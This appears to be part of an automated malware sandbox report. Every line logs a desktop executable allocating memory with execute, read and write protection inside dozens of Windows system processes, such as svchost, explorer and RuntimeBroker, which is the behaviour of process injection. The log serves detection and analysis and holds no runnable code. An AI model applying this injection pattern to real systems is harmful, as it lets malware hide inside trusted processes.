Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 8C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: FA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: BF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: B90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: F80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 1D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 6A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 430000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 910000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 830000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: B230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 320000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 660000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 8D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: F90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 1E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 6B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 440000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 920000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 840000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: B780000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 330000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 670000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 8E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: FC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: FA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 1F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 6C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 450000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 930000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 850000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: B790000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 340000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 680000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 8F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: FD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 200000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 200000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 6D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 460000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 940000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 860000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: B7A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 350000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 690000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 900000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: FE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 600000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: FC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 210000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 6E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: DA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 470000 protect: page execute and read and write Jump to behavior
